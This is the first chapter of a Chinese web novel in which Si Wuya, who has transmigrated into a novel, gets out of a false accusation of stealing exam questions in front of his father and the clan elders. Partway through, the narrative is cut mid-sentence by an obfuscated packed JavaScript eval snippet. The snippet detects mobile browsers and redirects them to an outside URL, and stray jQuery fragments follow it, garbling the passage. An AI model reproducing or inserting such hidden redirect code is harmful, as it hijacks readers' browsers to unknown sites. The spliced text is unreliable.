1. 第 1 章

作品:《我靠吸猫改变炮灰命运

    金乌西坠,抖落漫天红霞。


    平康坊内,达官显贵扎堆住,霞光映在琉璃瓦上,仿佛点点碎金。


    司无涯打眼瞧着,步子不觉放慢了些。


    引路的长随不客气地催促:“侯爷和族老们都在祠堂等着,二郎君快些吧!”


    司无涯似笑非笑:“快些过去挨打吗?”


    长随一噎,不是说二郎君性子绵软和善吗,怎么和传言不太一样?


    当然不一样,芯子都换了。


    原身十天前就因为落水窒息而亡,换成了同样因为落水穿越而来的司无涯。司无涯不是普通的穿越,而是穿书,原书名为《血色王座》,是一本典型的龙傲天式男频爽文。


    爽,仅对原书男主而言。


    司无涯拿到的剧本是——


    偏心糊涂的爹,又白又甜的妈,阴险伪善的庶兄,被养废的他!


    眼下这个剧情,就是原书中的一个转折点。


    庶长子萧博天做了一个局,诬陷身为嫡次子的原身偷了科举考题,还弄得人尽皆知。永昌侯为了面子,叫来族中长辈,开祠堂,请家法,审问原身。


    隔着老远,司无涯就听到了萧博天的求情声:“父亲息怒啊!无涯到底年纪小,不知道科举事关重大,这才生出了糊涂的想法,儿子会好好教他的,还请父亲收回家法吧!”


    他越求,永昌侯越愤怒:“你也知道科举事关重大,他只比你小一天,就敢闯下如此滔天大祸!”


    萧博天含泪道:“父亲打我吧,是我没有教好弟弟,我理应替他受罚……”


    永昌侯怒道:“好,那我今日就把你们一并打死!”


    司无涯定住脚步,饶有兴致地看向永昌侯高高扬起的藤条。


    你倒是打下去啊!


    藤条在半空中尴尬地停顿了片刻,才不情不愿地落在了萧博天背上。萧博天闷哼一声,又立即咬牙忍住了。那坚强隐忍的模样,让一个个年老眼花的长辈们看在眼里,疼在心上。


    萧博天坚持为司无涯求情:“父亲打了我,就不要再打无涯了……”


    永昌侯也不知道是真气还是假气,藤条再次高高地扬了起来。只是,这一鞭还没打下去,族老们就纷纷求起情来。


    “天哥儿只是护着弟弟罢了,大郎跟他置什么气?”


    “是啊,多好的孩子,从小就懂得兄友弟恭,你该欣慰才是,怎么竟打起来了?”


    司无涯没忍住,笑出声来。


    “无涯,你来了!”萧博天大喊一声,让在场之人都注意到了司无涯。


    永昌侯脸上的怒容顿时真切了三分:“跪下!”


    司无涯盘腿坐在了蒲团上。


    永昌侯的怒意顿时从三分飙升为十分,藤条狠狠地甩了过来。


    只听“嗷”的一声惨叫,在场之人都跟着抖了三抖。


    不过,惨叫的人不是司无涯,而是萧博天。


    根本没人看清司无涯是怎么躲开的,藤条就那么好巧不巧地落在了萧博天身上。


    萧博天疼得龇牙咧嘴。看来,这下是真打实了。


    “你还敢躲?!”永昌侯心疼了,把怒火发到司无涯身上。


    司无涯一脸无辜:“阿兄刚刚说了,打了他就不能打我了。”


    永昌侯:“……”


    萧博天:“……”


    永昌侯暴跳如雷:“既然你如此不知悔改,也就不用给你留体面了!”


    他手一挥,一个仆役就被五花大绑地推进了祠堂。


    是司无涯的贴身小厮,桦林。


    桦林显然受过刑,一进门便老老实实地把如何混进永昌侯的书房,如何偷到考题,如何把题带出去,如何找人解题一一交代了。只是,他死也不肯承认这件事是司无涯指使的。然而,他越是对司无涯表现得忠心,越让人认定司无涯就是背后主谋。


    这一招,真是高明又拙劣。


    “你还有什么可说的?”永昌侯冷声道。


    司无涯:“他不是说了吗,偷题的事不是我指使的。”


    “你还不肯认!”


    “没有做过的事,我为什么要认?”这句话,原身也曾说过,他曾声嘶力竭地喊出来,却没人肯信。眼下依旧如此。


    族老们再次跳了出来。


    “涯哥儿,快认个错吧!”


    “就当心疼心疼你兄长,别再让他替你受罚了。”


    “这孩子要是有博哥儿一半懂事,侯府世子的位置哪里还会空缺这么久!”


    司无涯似笑非笑:“你们这是认定我偷题了?”


    “当着列祖列宗的面,你还敢狡辩?”


    司无涯嘲讽技能拉满:“如果我没偷,你们会不会当着列祖列宗的面承认自己是老糊涂?”


    “逆子!”永昌侯脸色铁青,藤条带出凌厉的风声。


    “父亲要是有胆,尽管打下来!”司无涯从怀中一物,直直地杵到永昌侯眼前。


    那是一份委任状,加盖着皇帝的玉玺和三司的公章,恶意损坏,等同谋逆。


    永昌侯手里的藤条硬生生停在半路。


    萧博天瞳孔一缩:“你蒙恩入仕了?!”


    蒙恩入仕,自然就不用参加科举了;不参加科举,为什么要闲着没事儿去偷题?


    萧博天惊疑不定地看向永昌侯。


    “我何时上过折子——”永昌侯说到一半,突然反应过来,司无涯恩荫做官,用不着他上奏折


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112391|179941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,确切说,就算他想也没这个资格。


    司无涯慢悠悠念道:“敕:幽州节度使司凌川胞弟司无涯,以荫入仕,特授太仆寺牧监……主者施行。”


    一字一句,仿佛一个个凌厉的巴掌,啪啪地打在永昌侯脸上。


    十九年前,司无涯刚出生就被扣上“不祥”的帽子,若非侯夫人以命相护,他早就被永昌侯摔死了。侯夫人为了保下他,忍痛将他送到幽州,交给前夫的家族抚养。


    不知是不是报应,整整十九年,永昌侯府再无嫡子出生。


    依《大业律》,侯府爵位传嫡不传庶。为了侯府爵位不在这一代断绝,永昌侯这才把司无涯接回京城。


    不过,他只是把司无涯当做搪塞旁支的借口,根本没打算把爵位传给司无涯,因此,萧家族谱始终没加上司无涯的名字,司无涯的户籍依旧在幽州。


    所以,司无涯如果想恩荫入仕,根本不需要通过永昌侯,只要司无涯名义上的兄长,司家这一代的家主司凌川上道折子,最多三天,敕令就下来了。


    想起来了,全都想起来了……


    刚刚还对司无涯颐指气使的族老们,一个个脸色涨红。


    司无涯端正了一下坐姿:“现在,你们可以承认自己老糊涂了。”


    “你——”永昌侯再次举起藤条。


    司无涯再次请出委任状。


    “幽州节度使胞弟”几个大字几乎刺瞎了在场之人的眼。


    萧博天更在意委任状上的官职,太仆寺,正七品,这是二品大员的嫡子才有的待遇!司无涯,一个身世不明的蠢货,凭什么?!


    司无涯起身,拍了拍屁股上真实存在的灰尘:“早知道是这事儿,我就不来了,也省得兄长白挨一顿打。”


    萧博天:“……”


    自从穿越后就没这么憋屈过!


    司无涯走到门边,又笑眯眯回头:“虽然我不用参加科举,家里还是有人需要的吧?到底是谁偷了题呢?好难猜呀!”


    永昌侯的视线缓缓地落到萧博天身上。


    萧博天脸色煞白:“父亲,我、我没有!”


    族老们张了张嘴,试图帮他说话。


    司无涯慢悠悠开口:“你们还欠我一个道歉哦!”


    一屋子老头齐刷刷闭嘴。


    香梨院。


    司无涯躺在藤椅上,一边回忆着原书剧情一边吃着枣泥酥。


    碎屑落在矮桌上,吸引来几只小麻雀。小家伙们也不怕他,还当着他的面叽叽喳喳地聊起了八卦。


    “要死了!那只坏猫要死了!”


    “肚子上破大洞,好多血喳!”


    猫?血?


    司无涯的兽医雷达瞬间开启。